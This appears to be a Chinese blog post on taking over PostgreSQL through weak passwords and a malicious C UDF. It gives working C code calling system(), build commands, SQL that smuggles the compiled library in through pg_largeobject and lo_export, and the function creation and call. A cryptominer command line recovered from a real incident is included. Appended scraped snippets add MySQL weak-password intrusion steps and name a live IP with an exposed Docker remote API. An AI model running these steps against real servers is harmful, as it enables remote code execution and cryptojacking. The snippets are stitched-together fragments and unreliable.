postgresql 弱口令 UDF 攻击

1.首先通过端口扫描到弱口令 postgresql 账号密码

2.UDF  自定义函数,本地首先编译制作 so 文件,并上传到服务器

参考:https://www.postgresql.org/docs/9.5/static/xfunc-c.html

 gcc cmd2.c -I`pg_config --includedir-server` -fPIC -shared -o cmd.so

cmd2.c:

#include "stdlib.h"
#include "postgres.h"
#include <string.h>
#include "utils/geo_decls.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* by value */
int exec(int arg){
  system("ls /root -al> /tmp/result");
  return arg;
}
int
add_one(int arg)
{
    return arg + 1;
}

/* by reference, fixed length */

float8 *
add_one_float8(float8 *arg)
{
    float8    *result = (float8 *) palloc(sizeof(float8));

    *result = *arg + 1.0;

    return result;
}

Point *
makepoint(Point *pointx, Point *pointy)
{
    Point     *new_point = (Point *) palloc(sizeof(Point));

    new_point->x = pointx->x;
    new_point->y = pointy->y;

    return new_point;
}

/* by reference, variable length */

text *
copytext(text *t)
{
    /*
     * VARSIZE is the total size of the struct in bytes.
     */
    text *new_t = (text *) palloc(VARSIZE(t));
    SET_VARSIZE(new_t, VARSIZE(t));
    /*
     * VARDATA is a pointer to the data region of the struct.
     */
    memcpy((void *) VARDATA(new_t), /* destination */
           (void *) VARDATA(t),     /* source */
           VARSIZE(t) - VARHDRSZ);  /* how many bytes */
    return new_t;
}

text *
concat_text(text *arg1, text *arg2)
{
    int32 new_text_size = VARSIZE(arg1) + VARSIZE(arg2) - VARHDRSZ;
    text *new_text = (text *) palloc(new_text_size);

    SET_VARSIZE(new_text, new_text_size);
    memcpy(VARDATA(new_text), VARDATA(arg1), VARSIZE(arg1) - VARHDRSZ);
    memcpy(VARDATA(new_text) + (VARSIZE(arg1) - VARHDRSZ),
           VARDATA(arg2), VARSIZE(arg2) - VARHDRSZ);
    return new_text;
}

java工具: 将cmd.so 二进制文件做成16进制字符串,每行<=2kB

public static String byteToArray(byte[] data){  
   String result="";  
   for (int i = 0; i < data.length; i++) {  
   
       result+=Integer.toHexString((data[i] & 0xFF) | 0x100).toUpperCase().substring(1, 3);
       if((i+1)%2048==0){
    result+="\r\n";
    }
   }  
   return result;  
}  
public static void main(String[] args) throws Exception {
byte[] data=FileUtils.readFileToByteArray(new File("C:\\Users\\martin\\Downloads\\package\\libtest.so"));

String result=byteToArray(data);
System.out.println(result);
}

通过sql命令,将cmd.so 导出到 /tmp 目录下

select lo_creat(-1);
delete from pg_largeobject where loid=390334

select * from pg_largeobject where loid=390334

insert into pg_largeobject (loid,pageno,data) values(390334,0,decode(''FFXXXXXXXXXXXXX....','hex'))
;
insert into pg_largeobject (loid,pageno,data) values(390334,1,decode(''FFXXXXXXXXXXXXX....','hex'))
;
insert into pg_largeobject (loid,pageno,data) values(390334,2,decode('FFXXXXXXXXXXXXX....','hex'))
;
insert into pg_largeobject (loid,pageno,data) values(390334,3,decode(''FFXXXXXXXXXXXXX....','hex'))
;

SELECT lo_export(390334, '/tmp/cmd.so');   //导出 到 /tmp 目录

创建函数:

CREATE or replace FUNCTION exec(integer) RETURNS integer
     AS '/tmp/cmd.so', 'exec'
     LANGUAGE C STRICT;

执行自定义函数cmd.c的exec方法:
select exec('1')

可以在方法中执行启动进程等,postgres我们公司2台阿里云服务器被人用这种方式 放了挖矿程序导致cpu占用率100%,研究了一天搞清楚了原理,解决方法将postgresql密码修改复杂

附:

黑客启动的挖矿程序执行进程:

/tmp/iftghlv -c x -M 
stratum+tcp://49rR8E9A3CZN2jdNpJK4NMLYKCM9TLbSEAB4m9FxLgXZC4pvz6mWfxK6NRHv9Y3C3Xa9nqRLjUUHfU7werrSne1DP3Ufgw2:x@xmr.crypto-pool.fr:3333/xmr

时间: 2024-08-03 17:45:38

postgresql 弱口令 UDF 攻击的相关文章

防止mysql用户root密码弱口令的攻击方法

文章介绍关于防止mysql用户root密码弱口令的攻击,大家可以看看自己的mysql root是不是也存在这样的安全隐患. 1.连接到对方MYSQL 服务器 mysql -u root -h 192.168.0.1 mysql.exe 这个程序在你安装了MYSQL的的BIN目录中. 2.让我们来看看服务器中有些什么数据库 mysql>show databases; MYSQL默认安装时会有MYSQL.TEST这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库. 3.让我们进入数据库

MYSQL用户root密码为弱口令的攻击

mysql|攻击 1.连接到对方MYSQL 服务器 mysql -u root -h 192.168.0.1 mysql.exe 这个程序在你安装了MYSQL的的BIN目录中 2.让我们来看看服务器中有些什么数据库 mysql>show databases; MYSQL默认安装时会有MYSQL.TEST这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库. 3.让我们进入数据库 mysql>use test; 我们将会进入test数据库中 4.查看我们进入数据库中有些什么数据表 my

18atcskd2w这种密码竟然还是弱口令?

本文讲的是 18atcskd2w这种密码竟然还是弱口令?,多个大型论坛的用户已被告知尽快修改密码,近日,有大约4500万份身份凭据被盗. LeakedSource报道,来自超过1100个网站和社区的数百万用户身份凭据被盗,相关网站包括techsupportforum.com.autoguide.com.petsguide.com.motorcycle.com.这些网站的母公司VerticalScope在今年二月份曾遭到一次攻击,但此事并未公开报道. VerticalScope在公司网站上发布的安

僵尸网络的发展,“智能设备”可帮了大忙(含Top 10物联网设备弱口令 )

近年来,随着互联网技术的快速发展以及国家政策的大力支持,物联网这一领域也跟着水涨船高,各项具有应用意义的项目也在不断拓展,比如智能家居,视频监控系统等,身处千里之外,却能知悉家中的一举一动,这也体现了"万物互联"的概念.其中,作为物联网的终端节点,比如智能路由器,视频监控器等设备,随着大众将目光逐步转移到物联网时,这些设备因自身的安全性问题也遭受到来自恶意攻击者的觊觎. 据悉,目前针对物联网设备的恶意软件越来越普遍了,基本每个月都会发现新的变种.而据分析,在过去的两年里,发现的所有物联

由mysql弱口令取得system权限的实战_漏洞研究

由mysql弱口令取得windows的system权限的实战   今年五月mix在幻影论坛公布了一篇关于mysql入侵的文章(<<Windows环境下通过MySQL以SYSTEM身份   执行系统命令>>,连接地址='http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006' target=_blank>http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006),反

企业服务器安全性测试 SQL Server弱口令测试

对于企业而言,服务器的重要性是不言而喻的.因此管理员们往往以维持服务器的稳定.高效地运行作为自己的工作目标,但是对于服务器的安全性往往考虑得较少,至少对于某些管理员是这样的. 最近笔者进行了一例服务器的安全测试,下面把这例测试过程写下来,希望对大家有所启示. 测试工具: 1.S扫描器(一种速度极快的多线程命令行下的扫描工具) 2.SQL登陆器 3.DNS溢出工具 4.cmd(微软命令行工具) 4.scansql.exe(SQL弱口令扫描工具) SQL Server弱口令测试 1.缘由: SQL

学习c/c++遇到问题找不到资料,关于实现tcp三步握手以及c是怎样实现弱口令检测的问题

问题描述 学习c/c++遇到问题找不到资料,关于实现tcp三步握手以及c是怎样实现弱口令检测的问题 刚学完synflood的源码,但是有疑问,是不是synflood只做到了第二步就完毕了,谁有有源码可以给我看看 完整的tcp握手三步是怎样完成的.? 还有 ,对于一些远程主机扫描 弱口令检测等等的,很好奇是怎么实现的,求解.例如ipc 等等.注入类此.希望在csdn能得到高手指教. 新手一枚,求解. 解决方案 可以参考以下链接 TCP三步握手建立连接(1)-----主动连接syn包发送http:/

弱口令weblogic

弱口令weblogic 大多部署在7001.8080.6050端口上,并且默认后台是console 常见弱口令 用户名weblogic 密码weblogic weblogic1 weblogic12 weblogic123

DaoCloud某处弱口令(疑似测试环境)+docker remote API未授权访问

rt http://123.59.138.141/ 直接访问2375端口 还可以直接执行命令 具体请参考 http://drops.wooyun.org/papers/15892 http://123.59.138.141/ 直接访问2375端口 还可以直接执行命令 具体请参考 解决方案: 2375 对外 弱口令